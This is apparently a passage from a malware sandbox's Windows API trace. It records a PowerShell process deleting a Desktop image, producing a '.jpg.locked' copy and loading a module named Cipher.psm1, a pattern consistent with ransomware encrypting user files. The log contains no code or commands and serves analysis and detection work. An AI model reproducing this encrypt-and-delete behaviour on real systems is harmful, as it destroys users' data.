lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.080] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.081] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0130.081] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.081] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg\\", lpFilePart=0x0) returned 0x2b [0130.081] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0130.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0130.081] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0130.081] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0130.081] CoTaskMemFree (pv=0x8ebb8c8) [0130.116] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0130.117] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.117] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0130.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg"), fInfoLevelId=0x0, lpFileInformation=0x69b7530 | out: lpFileInformation=0x69b7530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca121710, ftCreationTime.dwHighDateTime=0x1d4a427, ftLastAccessTime.dwLowDateTime=0x1f0fd4c0, ftLastAccessTime.dwHighDateTime=0x1d4a3e0, ftLastWriteTime.dwLowDateTime=0x1f0fd4c0, ftLastWriteTime.dwHighDateTime=0x1d4a3e0, nFileSizeHigh=0x0, nFileSizeLow=0xc971)) returned 1 [0130.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0130.117] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 1 [0130.120] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.120] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="㔀и") returned 0x0 [0130.121] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.121] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.121] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg.locked")) returned 0x20 [0130.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg.locked")) returned 0x20 [0130.123] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", lpFilePart=0x0) returned 0x31 [0130.123] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", lpFilePart=0x0) returned 0x31 [0130.123] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.123] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.123] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.124] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.124] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.124] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.126] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.127] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.127] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.127] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.127] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.129] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.129] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.130] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.130] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.130] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.131] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.132] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.132] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.132] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.132] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.135] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.135] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.135] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.136] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.138] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0130.141] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x69c5400 | out: lpFileInformation=0x69c5400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bfa15c, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x10bfa15c, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x10c20141, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc994)) returned 1 [0130.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0130.141] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", lpFilePart=0x0) returned 0x31 [0130.141] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0130.141] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0130.141] CloseHandle (hObject=0x874) returned 1 [0130.145] GetConsoleOutputCP () returned 0x1b5 [0130.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.150] GetConsoleOutputCP () returned 0x1b5 [0130.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.150] GetConsoleOutputCP () returned 0x1b5 [0130.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.151] GetConsoleOutputCP () returned 0x1b5 [0130.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.151] GetConsoleOutputCP () returned 0x1b5 [0130.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.152] GetConsoleOutputCP () returned 0x1b5 [0130.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.152] GetConsoleOutputCP () returned 0x1b5 [0130.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.152] GetConsoleOutputCP () returned 0x1b5 [0130.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.153] GetConsoleOutputCP () returned 0x1b5 [0130.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.153] GetConsoleOutputCP () returned 0x1b5 [0130.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.154] GetConsoleOutputCP () returned 0x1b5 [0130.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.154] GetConsoleOutputCP () returned 0x1b5 [0130.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.154] GetConsoleOutputCP () returned 0x1b5 [0130.155] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.155] GetConsoleOutputCP () returned 0x1b5 [0130.155] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.155] GetConsoleOutputCP () returned 0x1b5 [0130.156] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.156] GetConsoleOutputCP () returned 0x1b5 [0130.156] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.156] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0130.156] GetConsoleOutputCP () returned 0x1b5 [0130.157] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0130.157] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.157] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69ec02c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x69ec02c*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0130.158] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.158] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0130.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.165] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x1c00\x698\x1ce8\x698\x1ca0\x698\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0130.165] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.165] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.165] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 